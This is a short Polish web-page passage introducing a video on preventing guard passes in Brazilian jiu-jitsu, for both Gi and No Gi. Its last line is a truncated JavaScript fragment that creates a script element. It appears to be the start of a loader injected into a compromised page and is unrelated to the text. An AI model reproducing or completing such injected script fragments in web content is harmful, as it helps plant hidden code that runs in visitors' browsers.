Przejście gardy jest jednym z najważniejszych elementów BJJ. Jeżeli ktoś nie ma dobrych i efektywnych sposobów, żeby powstrzymać oponenta przed przejściem gardy, będzie się bardzo męczył pracując na dole. Na filmie poniżej zobaczycie sposoby na powstrzymywanie przechodzenia gardy zarówno skuteczne w Gi jak i No Gi.
var d=document;var s=d.createElement(’script’);
